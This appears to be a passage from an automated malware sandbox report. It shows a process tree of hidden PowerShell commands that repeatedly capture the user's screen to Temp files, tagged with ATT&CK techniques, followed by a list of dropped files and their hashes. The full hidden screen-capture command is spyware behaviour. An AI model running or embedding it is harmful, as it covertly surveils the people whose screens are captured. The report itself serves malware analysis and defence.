                                  powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1784658055344.png\"); $g.Dispose(); $bmp.Dispose()"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:3460
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1784658107924.png\"); $g.Dispose(); $bmp.Dispose()""
                                2⤵
                                • Hide Artifacts: Hidden Window
                                • Suspicious use of WriteProcessMemory
                                PID:1748
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1784658107924.png\"); $g.Dispose(); $bmp.Dispose()"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:424

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

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                                  Downloads

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 1KB
                                  • SHA256 cd8eba55ac11ddd2b8e8115265117dc11fdcca517fc1f42ac94fb824282b040d
                                  • MD5 SHA1 SHA512 TLSH

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 1KB
                                  • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                                  • MD5 SHA1 SHA512 TLSH

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 1KB
                                  • SHA256 db0119de75413e345f3ca87f7b4822efcb4287da1aa311e08f801dca589a3c01
                                  • MD5 SHA1 SHA512 TLSH

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 1KB
                                  • SHA256 1dc014ae71bae56db839e125468e8d693a4b569e68debde951499621335b231b
                                  • MD5 SHA1 SHA512 TLSH

                                  __PSScriptPolicyTest_3pjp3zg3.2yf.ps1

                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3pjp3zg3.2yf.ps1
                                  • Size 60B
                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                  • MD5 SHA1 SHA512 TLSH

                                  scr_1784658048293.png

                                  • Path C:\Users\Admin\AppData\Local\Temp\scr_1784658048293.png
                                  • Size 529KB
                                  • SHA256 3b5153473e0afb79abab6539e472be868bcfef4b84ea4c3f70db9e39ece81a5b
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  scr_1784658050294.png

                                  • Path C:\Users\Admin\AppData\Local\Temp\scr_1784658050294.png
                                  • Size 531KB
                                  • SHA256 629bf5b9d9b5584303a6875a126b57e62aebcd933126f44a6821e9ac966c4ad4
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  scr_1784658107924.png

                                  • Path C:\Users\Admin\AppData\Local\Temp\scr_1784658107924.png
                                  • Size 529KB
                                  • SHA256 5e0be554e543f2b758f8fe556bc8efba66b0d7b215e167743b3ae3e548093c31
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  wmi_53defaef.vbs

                                  • Path C:\Users\Admin\AppData\Local\Temp\wmi_53defaef.vbs
                                  • Size 1KB
                                  • SHA256 b6e68ffe31c2c8caeff4ff45dbcf67e625ef407cbb0bb89e8da4a8eea7cff3fd
                                  • MD5 SHA1 SHA512 TLSH

                                  default.exc

                                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.exc
                                  • Size 2B
                                  • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                                  • MD5 SHA1 SHA512

                                  Network Persistent State

                                  • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State
                                  • Size 300B
                                  • SHA256 4ce3d70e87dd0ddb7802ec754a2b3fed3e05d91d587afbe479ebd3dad8f2f20b
                                  • MD5 SHA1 SHA512 TLSH

                                  Network Persistent State~RFe5acb02.TMP

                                  • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State~RFe5acb02.TMP
                                  • Size 59B
                                  • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                                  • MD5 SHA1 SHA512 TLSH

                                  memory/1104-56-0x000001E85E110000-0x000001E85E12E000-memory.dmp

                                  memory/1104-57-0x000001E85E3A0000-0x000001E85E452000-memory.dmp

                                  memory/1104-58-0x000001E85E140000-0x000001E85E14A000-memory.dmp

                                  memory/4908-45-0x0000020456320000-0x0000020456342000-memory.dmp